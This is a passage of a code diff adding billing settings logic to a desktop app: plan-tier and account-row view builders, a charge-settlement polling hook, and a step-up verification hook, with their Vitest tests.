+  const currentOrder = currentTier?.tier_order
+  const manageBase = subscription.portal_url ?? fallbackPortalUrl
+  // Only a downgrade has a target tier to mark; a cancellation has none.
+  const pendingName = pending?.kind === 'downgrade' ? pending.tierName : null
+
+  return gridTiers.map((tier): BillingPlanTierView => {
+    const base: BillingPlanTierBase = {
+      creditsDisplay: creditsPerMonthDisplay(tier.monthly_credits),
+      name: tier.name,
+      priceDisplay: tier.dollars_per_month_display,
+      tierId: tier.tier_id
+    }
+
+    if (currentTier && tier.tier_id === currentTier.tier_id) {
+      return { ...base, state: 'current' }
+    }
+
+    // A scheduled downgrade target is inert (matched by name — NAS sends no id for
+    // the pending target). Name is a safe key: SubscriptionTypes.name is @unique in
+    // NAS, so two tiers can't collide. Checked before the downgrade branch since the
+    // target IS a lower tier.
+    if (pendingName && tier.name === pendingName) {
+      return { ...base, state: 'scheduled' }
+    }
+
+    // Downgrade = strictly below the current tier's order → an in-app chargeless
+    // change (the PlanCard wires the confirm flow by tierId).
+    if (currentOrder != null && tier.tier_order < currentOrder) {
+      return { ...base, state: 'downgrade' }
+    }
+
+    return {
+      ...base,
+      action: { label: 'Choose ↗', url: buildManageSubscriptionUrl(subscription, manageBase, tier.tier_id) },
+      state: 'upgrade'
+    }
+  })
+}
+
+function paymentMethodRow(billing: BillingStateResponse): BillingAccountRowView {
+  const portalUrl = billing.portal_url ?? FALLBACK_PORTAL_BILLING_URL
+  const card = billing.card
+
+  if (!card) {
+    // No card → a single "Add payment method" link, the way every other app does
+    // it. The reason (buys/auto-refill are blocked) already leads the page as a
+    // notice, so the row stays a bare call-to-action with no redundant status text.
+    return {
+      action: { label: 'Add payment method', url: portalUrl },
+      description: '',
+      id: 'payment_method',
+      title: 'Payment method'
+    }
+  }
+
+  return {
+    action: { label: 'Update', url: portalUrl },
+    description: 'Manage the card used for top-ups and subscription renewals.',
+    id: 'payment_method',
+    title: 'Payment method',
+    value: `${capitalize(card.brand)} •••• ${card.last4}${provenanceSuffix(card.resolved_via)}`
+  }
+}
+
+function buyCreditsRow(billing: BillingStateResponse): BillingAccountRowView {
+  if (!billing.card) {
+    // The no-card blocker is already spelled out by the page-level warn banner
+    // (noCardNotice); repeating it here — emoji and all — just clutters the row,
+    // so keep the plain "what buying does" line and let the controls sit disabled.
+    return {
+      action: { disabled: true, label: 'Buy' },
+      chips: billing.charge_presets.map(amount => ({ disabled: true, label: formatMoney(amount) })),
+      description: 'A single charge on your card, added to your balance today.',
+      id: 'buy_credits',
+      title: 'Buy credits now'
+    }
+  }
+
+  const disabledReason = buyCreditsDisabledReason(billing)
+
+  if (disabledReason) {
+    return {
+      description: disabledReason,
+      id: 'buy_credits',
+      title: 'Buy credits now'
+    }
+  }
+
+  return {
+    action: { disabled: true, label: 'Buy' },
+    chips: billing.charge_presets.map(amount => ({ disabled: true, label: formatMoney(amount) })),
+    description: 'A single charge on your card, added to your balance today.',
+    id: 'buy_credits',
+    title: 'Buy credits now'
+  }
+}
+
+// The generic first sentence shared by the off / absent / divergent states,
+// where the concrete amounts aren't the headline. The configured state overrides
+// this with the disambiguating "Charges $X … below $Y." sentence (spec §8).
+const AUTO_REFILL_GENERIC = 'Keep your balance topped up when it drops below your threshold.'
+
+function autoReloadRow(billing: BillingStateResponse): BillingAccountRowView {
+  const autoReload = billing.auto_reload
+
+  if (!autoReload) {
+    return {
+      action: { disabled: true, label: 'Manage' },
+      caption: 'Manage auto-refill from the portal.',
+      description: AUTO_REFILL_GENERIC,
+      id: 'auto_reload',
+      pill: { label: EMPTY_BILLING_VALUE, tone: 'muted' },
+      title: 'Refill when low'
+    }
+  }
+
+  if (!autoReload.enabled) {
+    return {
+      caption: 'Turn on auto-refill from the portal',
+      description: AUTO_REFILL_GENERIC,
+      id: 'auto_reload',
+      pill: { label: 'Off', tone: 'muted' },
+      title: 'Refill when low'
+    }
+  }
+
+  // A null card (gateway emits it for a missing/unknown-kind card) falls through to
+  // the default enabled path below — the same treatment as a canonical card.
+  if (autoReload.card?.kind === 'distinct') {
+    const { brand, last4 } = autoReload.card
+    const cardLabel = brand && last4 ? `${capitalize(brand)} ••${last4}` : 'a different card'
+    const portalUrl = billing.portal_url ?? FALLBACK_PORTAL_BILLING_URL
+
+    return {
+      action: { label: 'Reconcile ↗', url: portalUrl },
+      caption: `Auto-refill charges ${cardLabel} — reconcile on the portal`,
+      description: AUTO_REFILL_GENERIC,
+      id: 'auto_reload',
+      pill: { label: 'Enabled', tone: 'primary' },
+      title: 'Refill when low'
+    }
+  }
+
+  const reloadTo = autoReload.reload_to_display || formatMoney(autoReload.reload_to_usd)
+  const threshold = autoReload.threshold_display || formatMoney(autoReload.threshold_usd)
+
+  return {
+    action: { label: 'Manage' },
+    // Numbers live in the first sentence (spec §8); the swap region below carries
+    // the editable fields, so no redundant caption here.
+    description: `Charges ${reloadTo} automatically when your balance falls below ${threshold}.`,
+    id: 'auto_reload',
+    // The only row that edits in place — AutoReloadRow keys its swap layout off this
+    // flag rather than sniffing the action label.
+    manageInApp: true,
+    pill: { label: 'Enabled', tone: 'primary' },
+    title: 'Refill when low'
+  }
+}
+
+function deriveUsageRows(
+  billing: BillingStateResponse,
+  subscription: null | SubscriptionStateResponse
+): BillingUsageRowView[] {
+  const rows: BillingUsageRowView[] = []
+  const current = subscription?.current
+  const remaining = parseAmount(current?.credits_remaining)
+  const monthly = parseAmount(current?.monthly_credits)
+  const usage = subscription?.usage ?? billing.usage
+
+  // Remaining can go slightly negative (usage settles after credits hit zero).
+  // A raw "-$0.79 left" reads as broken — clamp to $0 and name the overage.
+  const subscriptionValue =
+    remaining != null && monthly != null
+      ? remaining < 0
+        ? `${formatMoney(0)} of ${formatMoney(monthly)} left · ${formatMoney(Math.abs(remaining))} over`
+        : `${formatMoney(remaining)} of ${formatMoney(monthly)} left`
+      : (usage?.subscription_remaining_display ?? usage?.plan_bar?.remaining_display ?? EMPTY_BILLING_VALUE)
+
+  const remainingFraction = remaining != null && monthly != null && monthly > 0 ? remaining / monthly : null
+
+  rows.push({
+    bar:
+      remainingFraction != null
+        ? {
+            label: 'Subscription credits remaining',
+            state: remainingFraction <= 0.1 ? 'danger' : 'ok',
+            tone: 'subscription',
+            track: remaining != null && remaining <= 0 ? 'danger' : undefined,
+            value: clamp01(remainingFraction)
+          }
+        : undefined,
+    caption: `Resets ${formatBillingDate(current?.cycle_ends_at ?? usage?.renews_at)}`,
+    id: 'subscription_credits',
+    title: 'Subscription credits',
+    value: subscriptionValue
+  })
+
+  const topupValue = topupCreditsValue(billing, usage)
+
+  // No bar: top-ups have no denominator (the wire carries only the current
+  // balance, and the pool is open-ended), so a fill fraction would be fiction.
+  rows.push({
+    caption: 'Does not expire',
+    id: 'topup_credits',
+    title: 'Top-up credits',
+    value: topupValue
+  })
+
+  const cap = billing.monthly_cap
+
+  if (cap && cap.limit_usd != null) {
+    const limit = parseAmount(cap.limit_usd)
+    const spent = parseAmount(cap.spent_this_month_usd) ?? 0
+    const usedFraction = limit != null && limit > 0 ? spent / limit : null
+    const value = `${cap.spent_display || formatMoney(spent)} of ${cap.limit_display || formatMoney(limit)} used`
+
+    rows.push({
+      bar:
+        usedFraction != null
+          ? {
+              label: 'Monthly spend cap used',
+              state: usedFraction >= 0.9 ? 'danger' : 'ok',
+              tone: 'cap',
+              track: usedFraction >= 1 ? 'danger' : undefined,
+              value: clamp01(usedFraction)
+            }
+          : undefined,
+      caption: cap.is_default_ceiling ? 'Default ceiling' : 'Monthly remote spending',
+      id: 'monthly_cap',
+      title: 'Monthly spend cap',
+      value
+    })
+  }
+
+  return rows
+}
+
+function displayBalance(billing: BillingStateResponse): string {
+  return nonEmpty(billing.balance_display) ?? formatMoney(billing.balance_usd)
+}
+
+function displayPlan(subscription: null | SubscriptionStateResponse, usage?: UsageModelData): string {
+  const current = subscription?.current
+  const tier = current?.tier_name ?? usage?.plan_name
+
+  if (!tier) {
+    return EMPTY_BILLING_VALUE
+  }
+
+  const price = findCurrentTier(subscription)?.dollars_per_month_display
+
+  return price ? `${tier} · ${price}/mo` : tier
+}
+
+function topupCreditsValue(billing: BillingStateResponse, usage?: UsageModelData): string {
+  return (
+    usage?.topup_remaining_display ??
+    usage?.topup_bar?.remaining_display ??
+    nonEmpty(billing.balance_display) ??
+    formatMoney(billing.balance_usd)
+  )
+}
+
+function buyCreditsDisabledReason(billing: BillingStateResponse): null | string {
+  if (!billing.is_admin) {
+    return resolveRefusal({ kind: 'role_required', message: '' }).message
+  }
+
+  if (!billing.cli_billing_enabled) {
+    return resolveRefusal({ kind: 'cli_billing_disabled', message: '', portalUrl: billing.portal_url ?? undefined })
+      .message
+  }
+
+  if (!billing.can_charge) {
+    return resolveRefusal({ kind: 'remote_spending_disabled', message: '', portalUrl: billing.portal_url ?? undefined })
+      .message
+  }
+
+  return null
+}
+
+function provenanceSuffix(resolvedVia?: null | string): string {
+  if (!resolvedVia) {
+    return ''
+  }
+
+  const labels: Record<string, string> = {
+    autoRefill: 'auto-refill card',
+    customerDefault: 'customer default',
+    subPin: 'subscription card'
+  }
+
+  return ` - ${labels[resolvedVia] ?? resolvedVia}`
+}
+
+function capitalize(value: string): string {
+  return value ? `${value.charAt(0).toUpperCase()}${value.slice(1)}` : value
+}
+
+function nonEmpty(value?: null | string): string | undefined {
+  return typeof value === 'string' && value.trim().length > 0 ? value : undefined
+}
+
+function parseAmount(value?: null | number | string): null | number {
+  if (typeof value === 'number') {
+    return Number.isFinite(value) ? value : null
+  }
+
+  if (typeof value !== 'string') {
+    return null
+  }
+
+  const parsed = Number(value.replace(/[$,\s]/g, ''))
+
+  return Number.isFinite(parsed) ? parsed : null
+}
+
+function formatMoney(value?: null | number | string): string {
+  const amount = parseAmount(value)
+
+  if (amount == null) {
+    return EMPTY_BILLING_VALUE
+  }
+
+  // Pin en-US so the symbol is always "$" — the server's *_display strings
+  // ("$996.47") sit next to these, and other locales render USD as "US$".
+  return new Intl.NumberFormat('en-US', {
+    currency: 'USD',
+    maximumFractionDigits: amount % 1 === 0 ? 0 : 2,
+    minimumFractionDigits: amount % 1 === 0 ? 0 : 2,
+    style: 'currency'
+  }).format(amount)
+}
+
+function clamp01(value: number): number {
+  if (!Number.isFinite(value)) {
+    return 0
+  }
+
+  return Math.max(0, Math.min(1, value))
+}
diff --git a/ui-desktop/src/app/settings/billing/use-charge-poller.test.ts b/ui-desktop/src/app/settings/billing/use-charge-poller.test.ts
new file mode 100644
index 000000000..1011cd34b
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/use-charge-poller.test.ts
@@ -0,0 +1,232 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { act, renderHook } from '@testing-library/react'
+import { createElement, type PropsWithChildren } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { BillingResult } from './api'
+import type { BillingChargeStatusResponse } from './types'
+
+const apiMocks = vi.hoisted(() => ({
+  charge: vi.fn(),
+  chargeStatus: vi.fn()
+}))
+
+vi.mock('./api', () => ({
+  useBillingApi: () => ({
+    charge: apiMocks.charge,
+    chargeStatus: apiMocks.chargeStatus
+  })
+}))
+
+import { CHARGE_POLL_CAP_MS, pollChargeSettlement, useChargeFlow } from './use-charge-poller'
+
+const status = (overrides: Partial<BillingChargeStatusResponse> = {}): BillingResult<BillingChargeStatusResponse> => ({
+  data: {
+    ok: true,
+    status: 'pending',
+    ...overrides
+  },
+  ok: true
+})
+
+const refusal = (
+  kind: string,
+  overrides: Partial<Extract<BillingResult<BillingChargeStatusResponse>, { ok: false }>['refusal']> = {}
+): BillingResult<BillingChargeStatusResponse> => ({
+  ok: false,
+  refusal: {
+    kind,
+    message: kind,
+    ...overrides
+  }
+})
+
+function controlledClock() {
+  let current = 0
+  const waits: number[] = []
+
+  return {
+    now: () => current,
+    sleep: vi.fn(async (ms: number) => {
+      waits.push(ms)
+      current += ms
+    }),
+    waits
+  }
+}
+
+function wrapper({ children }: PropsWithChildren) {
+  const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+
+  return createElement(QueryClientProvider, { client }, children)
+}
+
+beforeEach(() => {
+  apiMocks.charge.mockReset()
+  apiMocks.chargeStatus.mockReset()
+})
+
+afterEach(() => {
+  vi.clearAllMocks()
+})
+
+describe('pollChargeSettlement', () => {
+  it('settles after pending polls', async () => {
+    const clock = controlledClock()
+
+    const api = {
+      chargeStatus: vi
+        .fn()
+        .mockResolvedValueOnce(status())
+        .mockResolvedValueOnce(status())
+        .mockResolvedValueOnce(status({ amount_usd: '25', status: 'settled' }))
+    }
+
+    const outcome = await pollChargeSettlement(api, 'ch_123', clock)
+
+    expect(outcome).toMatchObject({ amountUsd: '25', kind: 'success' })
+    expect(api.chargeStatus).toHaveBeenCalledTimes(3)
+    expect(clock.waits).toEqual([2000, 2000])
+  })
+
+  it('returns a failed outcome with the charge failure reason', async () => {
+    const clock = controlledClock()
+
+    const api = {
+      chargeStatus: vi.fn().mockResolvedValue(status({ reason: 'card_declined', status: 'failed' }))
+    }
+
+    const outcome = await pollChargeSettlement(api, 'ch_123', clock)
+
+    expect(outcome).toMatchObject({
+      kind: 'failure',
+      message: 'Your card was declined. Try another card on the portal.',
+      title: 'Charge failed'
+    })
+    expect(clock.waits).toEqual([])
+  })
+
+  it('backs off on rate limits, honors retryAfter, and keeps polling', async () => {
+    const clock = controlledClock()
+
+    const api = {
+      chargeStatus: vi
+        .fn()
+        .mockResolvedValueOnce(refusal('rate_limited', { retryAfter: 7 }))
+        .mockResolvedValueOnce(status({ amount_usd: '50', status: 'settled' }))
+    }
+
+    const outcome = await pollChargeSettlement(api, 'ch_123', clock)
+
+    expect(outcome).toMatchObject({ amountUsd: '50', kind: 'success' })
+    expect(clock.waits).toEqual([7000])
+  })
+
+  it('backs off when Stripe is unavailable and keeps polling', async () => {
+    const clock = controlledClock()
+
+    const api = {
+      chargeStatus: vi
+        .fn()
+        .mockResolvedValueOnce(refusal('stripe_unavailable', { retryAfter: 3 }))
+        .mockResolvedValueOnce(status({ amount_usd: '50', status: 'settled' }))
+    }
+
+    const outcome = await pollChargeSettlement(api, 'ch_123', clock)
+
+    expect(outcome).toMatchObject({ amountUsd: '50', kind: 'success' })
+    expect(clock.waits).toEqual([3000])
+  })
+
+  it('caps pending polling at 5 minutes as an ambiguous outcome', async () => {
+    const clock = controlledClock()
+
+    const api = {
+      chargeStatus: vi.fn().mockResolvedValue(status())
+    }
+
+    const outcome = await pollChargeSettlement(api, 'ch_123', {
+      ...clock,
+      portalUrl: 'https://portal.invalid/billing'
+    })
+
+    expect(outcome).toEqual({
+      kind: 'ambiguous',
+      message: 'Charge may still settle. Check the portal before retrying.',
+      portalUrl: 'https://portal.invalid/billing',
+      title: 'Still processing after 5 minutes'
+    })
+    expect(clock.waits.reduce((total, ms) => total + ms, 0)).toBe(CHARGE_POLL_CAP_MS)
+  })
+
+  it('treats auth revocation while polling as ambiguous', async () => {
+    const clock = controlledClock()
+
+    const api = {
+      chargeStatus: vi.fn().mockResolvedValue(
+        refusal('session_revoked', {
+          message: 'Your session was logged out.',
+          portalUrl: 'https://portal.invalid/billing'
+        })
+      )
+    }
+
+    const outcome = await pollChargeSettlement(api, 'ch_123', clock)
+
+    expect(outcome).toMatchObject({
+      kind: 'ambiguous',
+      portalUrl: 'https://portal.invalid/billing',
+      title: 'Charge outcome unconfirmed'
+    })
+  })
+})
+
+describe('useChargeFlow', () => {
+  it('turns a charge refusal into an immediate outcome without polling', async () => {
+    apiMocks.charge.mockResolvedValue({
+      idempotencyKey: 'key-1',
+      ok: false,
+      refusal: {
+        kind: 'no_payment_method',
+        message: 'No saved card.',
+        portalUrl: 'https://portal.invalid/billing'
+      }
+    })
+
+    const { result } = renderHook(() => useChargeFlow(), { wrapper })
+
+    await act(async () => {
+      await result.current.start('25')
+    })
+
+    expect(result.current.phase).toBe('done')
+    expect(result.current.outcome).toMatchObject({
+      kind: 'failure',
+      title: 'No saved card'
+    })
+    expect(apiMocks.chargeStatus).not.toHaveBeenCalled()
+  })
+
+  it('reuses one idempotency key when retrying a failed-to-send charge', async () => {
+    apiMocks.charge.mockResolvedValue({
+      idempotencyKey: 'key-1',
+      ok: false,
+      refusal: {
+        kind: 'transport',
+        message: 'connection closed'
+      }
+    })
+
+    const { result } = renderHook(() => useChargeFlow(), { wrapper })
+
+    await act(async () => {
+      await result.current.start('25')
+    })
+    await act(async () => {
+      await result.current.start('25')
+    })
+
+    expect(apiMocks.charge).toHaveBeenNthCalledWith(1, '25', undefined)
+    expect(apiMocks.charge).toHaveBeenNthCalledWith(2, '25', 'key-1')
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/use-charge-poller.ts b/ui-desktop/src/app/settings/billing/use-charge-poller.ts
new file mode 100644
index 000000000..3b946ffe5
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/use-charge-poller.ts
@@ -0,0 +1,297 @@
+import { refusalPolicy } from '@clawcodex/shared/billing-policy'
+import {
+  driveChargeSettlement,
+  SETTLEMENT_POLL_CAP_MS,
+  SETTLEMENT_POLL_INTERVAL_MS
+} from '@clawcodex/shared/charge-settlement'
+import { useQueryClient } from '@tanstack/react-query'
+import { useCallback, useRef, useState } from 'react'
+
+import type { BillingApi, BillingRefusal } from './api'
+import { useBillingApi } from './api'
+import { resolveRefusal } from './errors'
+import type { BillingChargeStatusResponse } from './types'
+
+export const CHARGE_POLL_INTERVAL_MS = SETTLEMENT_POLL_INTERVAL_MS
+export const CHARGE_POLL_CAP_MS = SETTLEMENT_POLL_CAP_MS
+
+export type ChargeFlowPhase = 'charging' | 'done' | 'idle' | 'polling'
+
+export type ChargeFlowOutcome =
+  | {
+      amountUsd?: string | null
+      kind: 'success'
+      message: string
+    }
+  | {
+      action?: { type: 'portal'; url?: string } | { type: 'retry' } | { type: 'step_up' }
+      kind: 'failure'
+      message: string
+      retryFreshKey: boolean
+      title: string
+    }
+  | {
+      kind: 'ambiguous'
+      message: string
+      portalUrl?: string
+      title: string
+    }
+
+export interface ChargePollClock {
+  now?: () => number
+  sleep?: (ms: number) => Promise<void>
+}
+
+export interface ChargePollOptions extends ChargePollClock {
+  portalUrl?: null | string
+}
+
+interface PendingChargeIntent {
+  amountUsd: string
+  idempotencyKey: string
+}
+
+const defaultSleep = (ms: number): Promise<void> => new Promise(resolve => setTimeout(resolve, ms))
+
+const retryableSendKinds = new Set([
+  'endpoint_unavailable',
+  'rate_limited',
+  'temporarily_unavailable',
+  'timeout',
+  'transport'
+])
+
+export async function pollChargeSettlement(
+  api: Pick<BillingApi, 'chargeStatus'>,
+  chargeId: string,
+  opts: ChargePollOptions = {}
+): Promise<ChargeFlowOutcome> {
+  const sleep = opts.sleep ?? defaultSleep
+  const now = opts.now ?? Date.now
+  const observed: { refusal?: BillingRefusal; status?: BillingChargeStatusResponse } = {}
+
+  const settlement = await driveChargeSettlement({
+    fetchStatus: async () => {
+      const result = await api.chargeStatus(chargeId)
+
+      if (result.ok) {
+        observed.refusal = undefined
+        observed.status = result.data
+
+        return result.data
+      }
+
+      observed.refusal = result.refusal
+      observed.status = statusFromRefusal(result.refusal)
+
+      return observed.status
+    },
+    isCancelled: () => false,
+    now,
+    sleep
+  })
+
+  switch (settlement.kind) {
+    case 'settled':
+      return {
+        amountUsd: settlement.status.amount_usd,
+        kind: 'success',
+        message: settlement.status.amount_usd ? `$${settlement.status.amount_usd} added.` : 'Credits added.'
+      }
+
+    case 'failed':
+      return {
+        action: { type: 'retry' },
+        kind: 'failure',
+        message: renderChargeFailed(settlement.status.reason),
+        retryFreshKey: true,
+        title: 'Charge failed'
+      }
+    case 'ambiguous': {
+      if (settlement.status && refusalPolicy(settlement.error).ambiguousMidPoll) {
+        const refusal = observed.refusal ?? refusalFromStatus(settlement.error, settlement.status)
+        const resolved = resolveRefusal(refusal)
+        const portalUrl = resolved.action.type === 'portal' ? resolved.action.url : refusal.portalUrl
+
+        return {
+          kind: 'ambiguous',
+          message: `${resolved.message} Your last charge's outcome is unconfirmed - check your balance/history before retrying.`,
+          portalUrl: portalUrl ?? opts.portalUrl ?? undefined,
+          title: 'Charge outcome unconfirmed'
+        }
+      }
+
+      return {
+        kind: 'failure',
+        message: observed.refusal?.message || 'Could not check the charge.',
+        retryFreshKey: true,
+        title: 'Could not check charge'
+      }
+    }
+
+    case 'refused':
+      return {
+        kind: 'failure',
+        message: observed.refusal?.message || settlement.status.message || 'Could not check the charge.',
+        retryFreshKey: true,
+        title: 'Could not check charge'
+      }
+
+    case 'cancelled':
+
+    case 'timed_out':
+      return timeoutOutcome(observed.status?.ok ? (observed.status.portal_url ?? opts.portalUrl) : opts.portalUrl)
+  }
+}
+
+function statusFromRefusal(refusal: BillingRefusal): BillingChargeStatusResponse {
+  const raw = isRecord(refusal.raw) ? refusal.raw : {}
+
+  return {
+    ...raw,
+    error: refusal.kind,
+    message: refusal.message,
+    ok: false,
+    ...(refusal.payload !== undefined ? { payload: refusal.payload } : {}),
+    ...(refusal.portalUrl !== undefined ? { portal_url: refusal.portalUrl } : {}),
+    ...(refusal.retryAfter !== undefined ? { retry_after: refusal.retryAfter } : {})
+  } as BillingChargeStatusResponse
+}
+
+function refusalFromStatus(error: string, status: BillingChargeStatusResponse): BillingRefusal {
+  return {
+    kind: error,
+    message: status.message || error,
+    payload: status.payload,
+    portalUrl: status.portal_url ?? undefined,
+    retryAfter: status.retry_after ?? undefined
+  }
+}
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null
+}
+
+export function useChargeFlow() {
+  const api = useBillingApi()
+  const queryClient = useQueryClient()
+  const [phase, setPhase] = useState<ChargeFlowPhase>('idle')
+  const [outcome, setOutcome] = useState<ChargeFlowOutcome | null>(null)
+  const phaseRef = useRef<ChargeFlowPhase>('idle')
+  const retryIntentRef = useRef<PendingChargeIntent | null>(null)
+
+  const setPhaseState = useCallback((next: ChargeFlowPhase) => {
+    phaseRef.current = next
+    setPhase(next)
+  }, [])
+
+  const reset = useCallback(() => {
+    retryIntentRef.current = null
+    setOutcome(null)
+    setPhaseState('idle')
+  }, [setPhaseState])
+
+  const start = useCallback(
+    async (amountUsd: string) => {
+      if (phaseRef.current === 'charging' || phaseRef.current === 'polling') {
+        return
+      }
+
+      const retryIntent = retryIntentRef.current
+      const idempotencyKey = retryIntent?.amountUsd === amountUsd ? retryIntent.idempotencyKey : undefined
+
+      setOutcome(null)
+      setPhaseState('charging')
+
+      const chargeResult = await api.charge(amountUsd, idempotencyKey)
+
+      if (!chargeResult.ok) {
+        const resolved = resolveRefusal(chargeResult.refusal)
+
+        const action =
+          resolved.action.type === 'portal'
+            ? ({ type: 'portal', url: resolved.action.url } as const)
+            : resolved.action.type === 'retry'
+              ? ({ type: 'retry' } as const)
+              : resolved.action.type === 'step_up'
+                ? ({ type: 'step_up' } as const)
+                : undefined
+
+        retryIntentRef.current = shouldReuseIdempotencyKey(chargeResult.refusal)
+          ? { amountUsd, idempotencyKey: chargeResult.idempotencyKey }
+          : null
+        setOutcome({
+          action,
+          kind: 'failure',
+          message: resolved.message,
+          retryFreshKey: false,
+          title: resolved.title
+        })
+        setPhaseState('done')
+
+        return
+      }
+
+      retryIntentRef.current = null
+
+      const chargeId = chargeResult.data.charge_id
+
+      if (!chargeId) {
+        setOutcome({
+          kind: 'failure',
+          message: 'The billing service accepted the request but did not return a charge id.',
+          retryFreshKey: true,
+          title: 'Charge could not be tracked'
+        })
+        setPhaseState('done')
+
+        return
+      }
+
+      setPhaseState('polling')
+
+      const pollOutcome = await pollChargeSettlement(api, chargeId, {
+        portalUrl: chargeResult.data.portal_url
+      })
+
+      setOutcome(pollOutcome)
+      setPhaseState('done')
+
+      if (pollOutcome.kind === 'success') {
+        void queryClient.invalidateQueries({ queryKey: ['billing', 'state'] })
+      }
+    },
+    [api, queryClient, setPhaseState]
+  )
+
+  return { outcome, phase, reset, start }
+}
+
+function shouldReuseIdempotencyKey(refusal: BillingRefusal): boolean {
+  return retryableSendKinds.has(refusal.kind)
+}
+
+function timeoutOutcome(portalUrl?: null | string): ChargeFlowOutcome {
+  return {
+    kind: 'ambiguous',
+    message: 'Charge may still settle. Check the portal before retrying.',
+    portalUrl: portalUrl ?? undefined,
+    title: 'Still processing after 5 minutes'
+  }
+}
+
+function renderChargeFailed(reason?: null | string): string {
+  switch ((reason || '').trim()) {
+    case 'authentication_required':
+      return 'Your bank requires verification (3DS). Complete it on the portal to finish this purchase.'
+
+    case 'payment_method_expired':
+      return 'Your card has expired. Update it on the portal.'
+
+    case 'card_declined':
+      return 'Your card was declined. Try another card on the portal.'
+
+    default:
+      return `The charge didn't go through (${reason || 'processing_error'}).`
+  }
+}
diff --git a/ui-desktop/src/app/settings/billing/use-step-up.test.tsx b/ui-desktop/src/app/settings/billing/use-step-up.test.tsx
new file mode 100644
index 000000000..d8ddc054d
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/use-step-up.test.tsx
@@ -0,0 +1,132 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { act, renderHook, waitFor } from '@testing-library/react'
+import { createElement, type PropsWithChildren } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+const apiMocks = vi.hoisted(() => ({
+  stepUp: vi.fn()
+}))
+
+const gatewayMock = vi.hoisted(() => {
+  const handlers = new Map<string, Set<(event: unknown) => void>>()
+
+  const gateway = {
+    on: vi.fn((eventName: string, handler: (event: unknown) => void) => {
+      let set = handlers.get(eventName)
+
+      if (!set) {
+        set = new Set()
+        handlers.set(eventName, set)
+      }
+
+      set.add(handler)
+
+      return () => set?.delete(handler)
+    })
+  }
+
+  return {
+    count: (eventName: string) => handlers.get(eventName)?.size ?? 0,
+    emit: (eventName: string, event: unknown) => {
+      handlers.get(eventName)?.forEach(handler => handler(event))
+    },
+    gateway,
+    reset: () => {
+      handlers.clear()
+      gateway.on.mockClear()
+    }
+  }
+})
+
+vi.mock('@/store/gateway', async () => {
+  const { atom } = (await vi.importActual('nanostores')) as { atom: (value: unknown) => unknown }
+
+  return {
+    $gateway: atom(gatewayMock.gateway)
+  }
+})
+
+vi.mock('./api', () => ({
+  useBillingApi: () => ({
+    stepUp: apiMocks.stepUp
+  })
+}))
+
+import { useStepUpFlow } from './use-step-up'
+
+function createWrapper(client: QueryClient) {
+  return function wrapper({ children }: PropsWithChildren) {
+    return createElement(QueryClientProvider, { client }, children)
+  }
+}
+
+beforeEach(() => {
+  apiMocks.stepUp.mockReset()
+  gatewayMock.reset()
+})
+
+afterEach(() => {
+  vi.clearAllMocks()
+})
+
+describe('useStepUpFlow', () => {
+  it('subscribes for verification, opens the verification URL, cleans up, and invalidates on completion', async () => {
+    let resolveStepUp: (value: unknown) => void = () => {}
+
+    const stepUpPromise = new Promise(resolve => {
+      resolveStepUp = resolve
+    })
+
+    const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+    const invalidate = vi.spyOn(client, 'invalidateQueries')
+
+    apiMocks.stepUp.mockReturnValue(stepUpPromise)
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: {
+        openExternal: vi.fn()
+      }
+    })
+
+    const { result, unmount } = renderHook(() => useStepUpFlow(), { wrapper: createWrapper(client) })
+
+    act(() => {
+      void result.current.start()
+    })
+
+    expect(result.current.phase).toBe('waiting')
+    expect(gatewayMock.count('billing.step_up.verification')).toBe(1)
+
+    act(() => {
+      gatewayMock.emit('billing.step_up.verification', {
+        payload: {
+          user_code: 'ABCD-1234',
+          verification_url: 'https://portal.invalid/device'
+        },
+        type: 'billing.step_up.verification'
+      })
+    })
+
+    expect(result.current.phase).toBe('verifying')
+    expect(result.current.verification).toEqual({
+      code: 'ABCD-1234',
+      url: 'https://portal.invalid/device'
+    })
+
+    result.current.openVerification()
+    expect(window.clawcodexDesktop?.openExternal).toHaveBeenCalledWith('https://portal.invalid/device')
+
+    await act(async () => {
+      resolveStepUp({ data: { granted: true, ok: true }, ok: true })
+      await stepUpPromise
+    })
+
+    await waitFor(() => {
+      expect(invalidate).toHaveBeenCalledWith({ queryKey: ['billing', 'state'] })
+      expect(invalidate).toHaveBeenCalledWith({ queryKey: ['billing', 'subscription'] })
+    })
+
+    unmount()
+    expect(gatewayMock.count('billing.step_up.verification')).toBe(0)
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/use-step-up.ts b/ui-desktop/src/app/settings/billing/use-step-up.ts
new file mode 100644
index 000000000..1a47366ad
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/use-step-up.ts
@@ -0,0 +1,143 @@
+import { useStore } from '@nanostores/react'
+import { useQueryClient } from '@tanstack/react-query'
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+import { $gateway } from '@/store/gateway'
+
+import { useBillingApi } from './api'
+import { resolveRefusal } from './errors'
+
+export type StepUpPhase = 'idle' | 'verifying' | 'waiting'
+
+export interface StepUpVerification {
+  code: string | null
+  url: string
+}
+
+export interface StepUpMessage {
+  kind: 'error' | 'success'
+  text: string
+  title: string
+}
+
+interface StepUpVerificationPayload {
+  user_code?: unknown
+  verification_url?: unknown
+}
+
+export function useStepUpFlow() {
+  const api = useBillingApi()
+  const gateway = useStore($gateway)
+  const queryClient = useQueryClient()
+  const offRef = useRef<(() => void) | null>(null)
+  const runningRef = useRef(false)
+  const runIdRef = useRef(0)
+  const [message, setMessage] = useState<StepUpMessage | null>(null)
+  const [phase, setPhase] = useState<StepUpPhase>('idle')
+  const [verification, setVerification] = useState<StepUpVerification | null>(null)
+
+  const unsubscribe = useCallback(() => {
+    offRef.current?.()
+    offRef.current = null
+  }, [])
+
+  const dismiss = useCallback(() => {
+    runIdRef.current += 1
+    runningRef.current = false
+    unsubscribe()
